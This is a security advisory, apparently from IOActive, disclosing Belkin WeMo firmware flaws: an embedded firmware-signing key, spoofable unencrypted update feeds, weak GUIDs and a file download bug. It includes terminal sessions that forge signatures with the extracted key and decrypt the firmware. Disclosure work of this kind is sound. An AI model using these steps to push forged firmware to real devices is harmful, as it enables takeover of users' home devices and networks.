IOActive Security Advisory

Title	Belkin WeMo Home Automation Vulnerabilities
Severity	Critical
Discovered by	Mike Davis

Affected Products

- Belkin WeMo products
- Devices built on the WeMo firmware

Impact

Belkin has recently produced a line of home-automation products under the WeMo name. For more information, see:

http://www.belkin.com/us/Products/home-automation/c/wemo-home-automation

These products feature iPhone and Android applications that:

- Monitor onboard sensors, such as motion sensors and streaming audio
- Actuate controls, such as relays and LEDs

While researchers have reported some security issues relating to these products, their cloud features are secure when used on the local network. For more information, see:

http://www.youtube.com/watch?v=BcW2q0aHOFo

IOActive examined the WeMo “Light Switch” firmware and uncovered a series of issues. When combined, these issues produce a variety of vulnerabilities:

- Remote control of attached devices over the internet

- Malicious firmware updates
- In some cases, remote monitoring
- Internal LAN access

The WeMo devices connect to the Internet using the STUN/TURN protocol. This gives users remote control of the devices and allows them to perform firmware updates from anywhere in the world. A generated GUID is the primary source of access control.

WeMo also uses a GPG-based, encrypted firmware distribution scheme to maintain device integrity during updates. Unfortunately, attackers can easily bypass most of these features due to the way they are currently implemented in the WeMo product line. The command for performing firmware updates is initiated over the Internet from a paired device. Also, firmware update notices are delivered through an RSS-like mechanism to the paired device, rather than the WeMo device itself, which is distributed over a non-encrypted channel. As a result, attackers can easily push firmware updates to WeMo users by spoofing the RSS feed with a correctly signed firmware.

The firmware updates are encrypted using GPG, which is intended to prevent this issue. Unfortunately, Belkin misuses the GPG asymmetric encryption functionality, forcing it to distribute the firmware-signing key within the WeMo firmware image. Most likely, Belkin intended to use the symmetric encryption with a signature and a shared public key ring. Attackers could leverage the current implementation to easily sign firmware images.

Belkin uses STUN/TURN and an exposed firmware signing key. IOActive discovered an unfortunate configuration relating to this. A lack of entropy on the device results on less-than-random GUIDs. IOActive also discovered that the WeMo restful service endpoint is vulnerable to attack. We reported to Belkin an arbitrary file download flaw relating to this.

Signing Arbitrary Firmware:

```
(Canopy 64bit) phar@aiken ~/wemo$ echo "signeded firmwares" | gpg -u DCEB4E79 --clearsign | tee | gpg

You need a passphrase to unlock the secret key for
user: "Plug-Ins (Belkin) <customerservice@belkin.com>"
1024-bit DSA key, ID DCEB4E79, created 2011-07-10

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: GPGTools - http://gpgtools.org

iEYEARECAAYFAlJOfewACgkQHBPU5dzrTnm2TACfZKZ2VACK8XTjAF5K44/KC6I2
CDEAnjz01bGZoXqSEFDfIbmHb72TzMA9
=5f37
-----END PGP SIGNATURE-----
gpg: Signature made Fri 04 Oct 2013 01:37:00 AM PDT using DSA key ID DCEB4E79
gpg: Good signature from "Plug-Ins (Belkin) <customerservice@belkin.com>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 7A83 F0EF D7F8 7AEF BAA3  AE76 1C13 D4E5 DCEB 4E79
```


Validating Key

The firmware-signing key is the validating key, as shown here:

```
(Canopy 64bit) phar@aiken:~/wemo$ curl https://fw.xbcs.net/plugin/device/firmware.txt | grep gpg
http://fw.xbcs.net/wemo/switchsensor/us/WeMo_US_2.00.2769.PVT_SNS.bin.gpg

(Canopy 64bit) phar@aiken:~/wemo$ wget
http://fw.xbcs.net/wemo/switchsensor/us/WeMo_US_2.00.2769.PVT_SNS.bin.gpg

100%[=======================================================================================================
=======================================================================================>]
5,129,010    572K/s   in 8.8s

2013-10-04 01:41:30 (566 KB/s) - `WeMo_US_2.00.2769.PVT_SNS.bin.gpg' saved [5129010/5129010]

(Canopy 64bit) phar@aiken:~/wemo$ gpg -d -oWeMo_US_2.00.2769.PVT_SNS.bin
WeMo_US_2.00.2769.PVT_SNS.bin.gpg

You need a passphrase to unlock the secret key for
user: "Plug-Ins (Belkin) <customerservice@belkin.com>"
1024-bit ELG-E key, ID B6C5CB2D, created 2011-07-10 (main key ID DCEB4E79)

gpg: encrypted with 1024-bit ELG-E key, ID B6C5CB2D, created 2011-07-10
      "Plug-Ins (Belkin) <customerservice@belkin.com>"


 (Canopy 64bit) phar@aiken:~/wemo$ hexdump -C WeMo_US_2.00.2769.PVT_SNS.bin | head
00000000  e9 45 20 4e 0e 47 4d 54  4b 50 6c 75 67 49 6e 73  |.E N.GMTKPlugIns|
00000010  30 30 58 27 05 19 56 fd  bc be fb 51 c4 02 2a 00  |00X'..V....Q..*.|
00000020  0c 77 f7 80 00 00 00 80  25 50 00 48 3d cb 42 05  |.w......%P.H=.B.|
00000030  05 02 03 4c 69 6e 75 78  20 4b 65 72 6e 65 6c 20  |...Linux Kernel |
00000040  49 6d 61 67 65 00 00 00  00 00 00 00 00 00 00 00  |Image...........|
00000050  00 00 00 5d 00 00 00 02  ec fb 26 00 00 00 00 00  |...]......&.....|
00000060  00 00 6f fd ff ff a3 b7  7f 62 2d 9c c6 5f 6c 10  |..o......b-.._l.|
00000070  7d 36 27 40 3f 77 b9 af  25 1c 5a 3c ed 4b 4a d1  |}6'@?w..%.Z<.KJ.|
00000080  98 b0 b5 92 4b 88 17 aa  b5 59 c5 0a e6 3f cf da  |....K....Y...?..|
00000090  56 7a 41 12 1c 1d e4 d9  ba 22 fb 22 1b 47 03 ea  |VzA......"."G..|
```


Solution

Because Belkin has not produced fixes for the issues discussed in this advisory, as a solution, IOActive recommends unplugging all affected devices from the WeMo products.

